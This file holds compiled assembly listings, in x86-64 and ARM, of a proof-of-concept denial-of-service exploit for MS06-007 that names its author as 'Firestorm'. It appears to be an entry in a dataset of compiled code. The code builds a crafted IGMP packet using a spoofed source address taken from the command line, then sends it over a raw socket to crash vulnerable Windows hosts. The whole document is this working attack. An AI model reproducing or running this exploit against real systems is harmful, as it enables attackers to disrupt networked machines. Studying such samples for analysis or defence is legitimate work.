	.file	"extr_1603.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC0:
	.string	"MS06-007 Denial of Service POC exploit by Firestorm"
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC1:
	.string	"Usage: %s <src> <dst>\n"
.LC2:
	.string	"224.0.0.1"
	.section	.rodata.str1.8
	.align 8
.LC3:
	.string	"Sending IGMP packet: %s -> %s\n"
	.section	.rodata.str1.1
.LC4:
	.string	"Error sending packet"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	mov	rbx, rsi
	sub	rsp, 1544
	.cfi_def_cfa_offset 1584
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR 1528[rsp], rax
	xor	eax, eax
	cmp	edi, 2
	jle	.L9
	mov	rdi, QWORD PTR 16[rsi]
	lea	r13, 16[rsp]
	call	resolve@PLT
	mov	rdi, QWORD PTR 8[rbx]
	mov	r12, rax
	call	resolve@PLT
	mov	edx, 1500
	xor	esi, esi
	mov	rdi, r13
	mov	rbp, rax
	call	memset@PLT
	mov	eax, DWORD PTR AF_INET[rip]
	mov	edi, 44
	mov	QWORD PTR 8[rsp], r12
	mov	QWORD PTR 104[rsp], 0
	mov	DWORD PTR [rsp], eax
	movabs	rax, 17179869191
	mov	QWORD PTR 16[rsp], rax
	call	htons@PLT
	mov	edi, 18277
	mov	QWORD PTR 96[rsp], rax
	call	htons@PLT
	mov	esi, 96
	mov	rdi, r13
	mov	QWORD PTR 80[rsp], 0
	mov	QWORD PTR 88[rsp], rax
	mov	eax, DWORD PTR IPPROTO_IGMP[rip]
	mov	DWORD PTR 24[rsp], 128
	mov	DWORD PTR 72[rsp], eax
	call	in_chksum@PLT
	lea	rdi, .LC2[rip]
	mov	QWORD PTR 32[rsp], rbp
	mov	QWORD PTR 64[rsp], rax
	movabs	rax, 21474836497
	mov	QWORD PTR 40[rsp], r12
	mov	QWORD PTR 56[rsp], 0
	mov	QWORD PTR 48[rsp], 0
	mov	QWORD PTR 112[rsp], rax
	call	inet_addr@PLT
	mov	edi, 1
	mov	QWORD PTR 168[rsp], 0
	mov	DWORD PTR 176[rsp], eax
	mov	QWORD PTR 160[rsp], 0
	mov	QWORD PTR 152[rsp], 0
	mov	QWORD PTR 144[rsp], 0
	call	htons@PLT
	lea	rdi, 112[rsp]
	mov	esi, 72
	mov	QWORD PTR 136[rsp], rax
	mov	rax, QWORD PTR 120[rsp]
	mov	QWORD PTR [rax], r12
	mov	QWORD PTR 128[rsp], 0
	call	in_chksum@PLT
	mov	edx, DWORD PTR IPPROTO_RAW[rip]
	mov	esi, DWORD PTR SOCK_RAW[rip]
	mov	edi, DWORD PTR AF_INET[rip]
	mov	QWORD PTR 128[rsp], rax
	call	socket@PLT
	mov	ebp, eax
	cmp	eax, -1
	je	.L5
	mov	rdx, QWORD PTR 16[rbx]
	mov	rsi, QWORD PTR 8[rbx]
	xor	eax, eax
	xor	r12d, r12d
	lea	rdi, .LC3[rip]
	call	printf@PLT
	xor	ecx, ecx
	mov	r9d, 16
	mov	r8, rsp
	mov	edx, 44
	mov	rsi, r13
	mov	edi, ebp
	call	sendto@PLT
	add	eax, 1
	je	.L10
.L1:
	mov	rax, QWORD PTR 1528[rsp]
	xor	rax, QWORD PTR fs:40
	jne	.L11
	add	rsp, 1544
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	mov	eax, r12d
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	ret
.L5:
	.cfi_restore_state
	mov	r12d, 1
	jmp	.L1
.L9:
	lea	rdi, .LC0[rip]
	mov	r12d, 1
	call	puts@PLT
	mov	rsi, QWORD PTR [rbx]
	lea	rdi, .LC1[rip]
	xor	eax, eax
	call	printf@PLT
	jmp	.L1
.L10:
	lea	rdi, .LC4[rip]
	call	perror@PLT
	or	edi, -1
	call	exit@PLT
	jmp	.L1
.L11:
	call	__stack_chk_fail@PLT
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	SOCK_RAW,4,4
	.comm	IPPROTO_RAW,4,4
	.comm	IPPROTO_IGMP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_1603.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"MS06-007 Denial of Service POC exploit by Firestorm"
	.ascii	"\000"
	.align	2
.LC1:
	.ascii	"Usage: %s <src> <dst>\012\000"
	.align	2
.LC2:
	.ascii	"224.0.0.1\000"
	.align	2
.LC3:
	.ascii	"Sending IGMP packet: %s -> %s\012\000"
	.align	2
.LC4:
	.ascii	"Error sending packet\000"
	.section	.rodata.cst4,"aM",%progbits,4
	.align	2
.LC5:
	.word	__stack_chk_guard
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 1512
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, lr}
	ldr	r3, .L12
	sub	sp, sp, #1520
	cmp	r0, #2
	mov	r5, r1
	ldr	r3, [r3]
	str	r3, [sp, #1516]
	mov	r3,#0
	ble	.L9
	ldr	r0, [r1, #8]
	bl	resolve
	mov	r6, r0
	ldr	r0, [r5, #4]
	bl	resolve
	mov	r1, #0
	mov	r7, r0
	ldr	r2, .L12+4
	add	r0, sp, #16
	bl	memset
	mov	r2, #7
	mov	r3, #4
	ldr	r8, .L12+8
	mov	r0, #44
	ldr	r1, [r8]
	str	r2, [sp, #16]
	str	r1, [sp, #8]
	str	r6, [sp, #12]
	str	r3, [sp, #20]
	bl	htons
	mov	r3, r0
	ldr	r0, .L12+12
	str	r3, [sp, #60]
	bl	htons
	mov	r4, #0
	mov	r3, #128
	ldr	r2, .L12+16
	mov	r1, #52
	ldr	r2, [r2]
	str	r0, [sp, #56]
	add	r0, sp, #16
	str	r2, [sp, #48]
	str	r3, [sp, #24]
	str	r4, [sp, #52]
	bl	in_chksum
	mov	r2, #17
	mov	r1, r0
	mov	r3, #5
	ldr	r0, .L12+20
	str	r2, [sp, #68]
	str	r1, [sp, #44]
	str	r6, [sp, #32]
	str	r3, [sp, #72]
	str	r7, [sp, #28]
	str	r4, [sp, #40]
	str	r4, [sp, #36]
	bl	inet_addr
	mov	r3, r0
	mov	r0, #1
	str	r3, [sp, #104]
	str	r4, [sp, #100]
	str	r4, [sp, #96]
	str	r4, [sp, #92]
	str	r4, [sp, #88]
	bl	htons
	ldr	r3, [sp, #76]
	str	r0, [sp, #84]
	mov	r1, #40
	str	r6, [r3]
	add	r0, sp, #68
	str	r4, [sp, #80]
	bl	in_chksum
	mov	r3, r0
	ldr	r2, .L12+24
	ldr	r1, .L12+28
	ldr	r0, [r8]
	ldr	r2, [r2]
	ldr	r1, [r1]
	str	r3, [sp, #80]
	bl	socket
	cmn	r0, #1
	mov	r6, r0
	moveq	r0, #1
	beq	.L1
	ldmib	r5, {r1, r2}
	ldr	r0, .L12+32
	bl	printf
	mov	r2, #8
	add	r3, sp, r2
	str	r2, [sp, #4]
	str	r3, [sp]
	mov	r0, r6
	mov	r3, r4
	mov	r2, #44
	add	r1, sp, #16
	bl	sendto
	cmn	r0, #1
	mov	r5, r0
	movne	r0, r4
	beq	.L10
.L1:
	ldr	r3, .L12
	ldr	r2, [r3]
	ldr	r3, [sp, #1516]
	eors	r2, r3, r2
	mov	r3, #0
	bne	.L11
	add	sp, sp, #1520
	@ sp needed
	pop	{r4, r5, r6, r7, r8, pc}
.L9:
	ldr	r0, .L12+36
	bl	puts
	ldr	r1, [r5]
	ldr	r0, .L12+40
	bl	printf
	mov	r0, #1
	b	.L1
.L10:
	ldr	r0, .L12+44
	bl	perror
	mov	r0, r5
	bl	exit
	mov	r0, r4
	b	.L1
.L11:
	bl	__stack_chk_fail
.L13:
	.align	2
.L12:
	.word	.LC5
	.word	1500
	.word	AF_INET
	.word	18277
	.word	IPPROTO_IGMP
	.word	.LC2
	.word	IPPROTO_RAW
	.word	SOCK_RAW
	.word	.LC3
	.word	.LC0
	.word	.LC1
	.word	.LC4
	.size	main, .-main
	.comm	SOCK_RAW,4,4
	.comm	IPPROTO_RAW,4,4
	.comm	IPPROTO_IGMP,4,4
	.comm	AF_INET,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
